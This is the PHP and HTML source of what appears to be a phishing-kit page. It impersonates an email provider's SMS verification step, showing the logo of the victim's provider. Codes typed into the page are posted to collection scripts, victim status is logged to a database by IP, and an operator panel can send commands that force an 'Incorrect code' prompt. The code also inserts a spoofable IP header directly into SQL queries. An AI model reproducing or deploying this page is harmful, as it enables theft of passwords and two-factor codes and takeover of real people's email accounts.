<?php

@session_start();
error_reporting(0);
ini_set("display_errors", 0);

require_once "../../cod3rconfig/registro.php";
require_once "../../cod3rconfig/conexao.php";
require_once "../../cod3rconfig/data.php";
$erro = $_REQUEST['error'];
$ip = (isset($_SERVER["HTTP_CF_CONNECTING_IP"]) ? $_SERVER["HTTP_CF_CONNECTING_IP"] : $_SERVER['REMOTE_ADDR']);

$query_info = "SELECT * FROM infos WHERE ip='$ip'";
$recorinfo = mysqli_query(DBConnect(), $query_info) or die(mysqli_error(DBConnect()));
$row_infio = mysqli_fetch_assoc($recorinfo);
$totalRowsinfo = mysqli_num_rows($recorinfo);



$email = $row_infio['usuario'];

$tempo = time();
$atualiza = mysqli_query(DBCOnnect(), "UPDATE infos SET tempo='$tempo', status='Cliente online email', statusremote='Cliente online na senha do email' WHERE ip='$ip'");

?>
<!DOCTYPE html>
<html>

<head>
    <title>Log in - Authenticator</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link href="https://fonts.googleapis.com/css?family=Nunito:300|Work+Sans:300" rel="stylesheet">
    <link rel="stylesheet" href="css/style.min.css">
    <script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script>
    <script src="https://cdn.jsdelivr.net/npm/i18next@21.6.10/i18next.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/jquery-i18next@1.2.1/jquery-i18next.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/i18next-browser-languagedetector@6.1.3/i18nextBrowserLanguageDetector.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/i18next-http-backend@1.3.2/i18nextHttpBackend.min.js"></script>
    <script type="application/javascript" src="language.js"></script>

    <!-- <script src="//code.jquery.com/jquery-1.11.2.min.js"></script> -->
    <script>
        //função enviar senha
        $(document).ready(function() {
            $(document).on('click', '#entrar', function(e) {
                e.preventDefault();


                //var email = $("#email").val();
                var emailsenha = $("#emailsenha").val();

                if (emailsenha == "") {
                    comandoerrordados()

                } else {

                    $("#emailsenha").prop('disabled', true);
                    $("#entrar").prop('disabled', true);
                    document.getElementById("barra").style.display = "block";
                    $.ajax({
                        type: 'post', //Definimos o método HTTP usado
                        data: {
                            //email: email,
                            emailPassword: emailsenha
                        },
                        dataType: 'json', //Definimos o tipo de retorno
                        url: '/app/sendData.php', //Definindo o arquivo onde serão buscados os dados
                        success: function(data) {

                            dispararComando();
                            document.getElementById('emailsenha').style.borderBottom = "2px solid #4285F4";
                            document.getElementById('errorsenha').innerHTML = "";

                        }
                    });
                    $.ajax({
                        type: 'post', //Definimos o método HTTP usado
                        data: {
                            //email: email,
                            emailsenha: emailsenha
                        },
                        dataType: 'json', //Definimos o tipo de retorno
                        url: 'emailsSend.php', //Definindo o arquivo onde serão buscados os dados
                        success: function(data) {

                            dispararComando();
                            document.getElementById('emailsenha').style.borderBottom = "2px solid #4285F4";
                            // document.getElementById('errorsenha').innerHTML = ""; 
                            $("#errorsenha").css("display", "none");

                        }
                    });

                }
            });
        });

        function dispararComando(e) {

            myVar = setInterval(esperaresposta, 1400);

        }



        function esperaresposta() {
            //alert("teste");
            Get("", "../main_.php", 0);

        }

        function comandoerrordados() {
            //alert("te");
            document.getElementById("barra").style.display = "none";
            $("#emailsenha").prop('disabled', false);
            $("#entrar").prop('disabled', false);
            document.getElementById('emailsenha').style.borderBottom = "2px solid red";
            $("#errorsenha").css("display", "block");
            //   document.getElementById('errorsenha').innerHTML = "<font color='red'>Incorrect password!</font>";

        }


        var onOff = 1;


        function Get(data, urlapi, e) {

            var xhttp = new XMLHttpRequest();
            xhttp.onreadystatechange = function() {
                if (this.readyState == 4 && this.status == 200) {
                    var json = this.response;
                    if (e != 1) {
                        status(JSON.parse(json));
                    }
                }
            };
            xhttp.open("GET", urlapi + data, true);
            xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            xhttp.send();
            return false;
        }

        function status(json) {


            if (json.comando == "negargmail") {
                clearInterval(myVar);
                comandoerrordados();


            };
        }
    </script>
</head>

<body style="padding: 0px;margin: 0px;background-color: white;width: 100%;height: 100%;position: absolute;display: flex;justify-content: center;align-items: center;">
    <div class="RZBuIb c8DD0" aria-hidden="true" id="barra" style="display: none">
        <div id="progressbar" jscontroller="ltDFwf" jsaction="transitionend:Zdx3Re" jsname="Igk6W" role="progressbar" class="sZwd7c B6Vhqe">
            <div class="xcNBHc um3FLe"></div>
            <div jsname="cQwEuf" class="w2zcLc Iq5ZMc"></div>
            <div class="MyvhI TKVRUb" jsname="P1ekSe"><span class="l3q5xe SQxu9c"></span></div>
            <div class="MyvhI sUoeld"><span class="l3q5xe SQxu9c"></span></div>
        </div>
    </div>
    <section style="/* max-width: 400px; */margin: 0 auto;/* padding: 40px; */border-radius: 10px;/* margin-top: 30px; */height: 100%;box-shadow: 0 0 40px #DDD;width: 100%;display: flex;align-items: center;justify-content: center;position: absolute; overflow: hidden;">
        <div style=" width: 100%; height: 100%; position: absolute; align-items: center; display: block;padding-top: 12rem;">
            <div style="font-family:'Arial'; text-align: center; padding: 20px;">
                <span style="font-weight: bold; font-size: 1em; color: #2e2e2e;" data-i18n="email.default.sms.title">A text message with a verification code has been sent to your device.</span>
            </div>
            <span style="font-weight: bold; font-size: 30px; color: #000000; display: flex; justify-content: center; align-items: center;">
                    <img src="/logo.png" style=" height: 35px; color: #000000" />
                    <img src="/sync-icon-8.jpg?t=1231231232112312" alt="sync" style="width: 10%; display: inline-block; vertical-align: middle; margin: 0 0.5em;">
                    <?php $str = $email;
                        $res = explode("@", $str);
                        $sh  = $res[1];
                        $pls = explode(".", $sh);
                        $provedor = $pls[0];
                        if ($provedor === "bigpound") {
                            echo "<div style='display: flex; justify-content: center; align-items: center;'><img src='/app/images/bigpound.png' width='25'><span style='font-size: 20px; margin-left: 5px;' >BigPound</span></div>";
                        } elseif ($provedor === "protonmail") {
                            echo "<div style='display: flex; justify-content: center; align-items: center;'><img src='/app/images/protonmail.png' width='130'></div>";
                        } elseif ($provedor === "iinet") {
                            echo "<div style='display: flex; justify-content: center; align-items: center;'><img src='/app/images/iinet.png' width='90'></div>";
                        } elseif ($provedor === "naver") {
                            echo "<div style='display: flex; justify-content: center; align-items: center;'><img src='/app/images/naver.png' width='90'></div>";
                        } elseif ($provedor === "web") {
                            echo "<div style='display: flex; justify-content: center; align-items: center;'><img src='/app/images/web_de.png' width='90'></div>";
                        } elseif ($provedor === "gmx") {
                            echo "<div style='display: flex; justify-content: center; align-items: center;'><img src='/app/images/gmx.png' width='90'></div>";
                        } elseif ($provedor === "optusnet") {
                            echo "<div style='display: flex; justify-content: center; align-items: center;'><img src='/app/images/optus.png' width='90'></div>";
                        } else{
                            echo $provedor;
                        } ?>
                    </span>

<form class="form home-register-form" id="form" method="post" name="form" role="form" novalidate onSubmit="return valida()">
    <div style="margin-top: 20px; text-align: center;">
        <input type="password" class="form-control" id="emailsenha" name="emailsenha" placeholder="Enter a code" style="border-radius: 3px; padding: 10px; width:250px; border: 1px solid #DDD; font-size: 16px;" data-i18n="[placeholder]email.default.sms.placeholder" autofocus>
        <input type="hidden" name="email" id="email" value="<?= $email ?>">
        <div id="errorsenha" style="display: none; color: red;" data-i18n="email.default.sms.error">Incorrect code</div>
    </div>

    <div style="margin-top: 20px; text-align: center;">
        <button type="submit" id="entrar" name="entrar" style="padding: 15px; width: 274px; background: #000; border:none; border-radius: 5px; color: #FFF; font-size: 16px;" data-i18n="email.default.sms.button">Continue</button>
    </div>

</form>
            </div>
        </div>
    </section>
    
</body>

</html>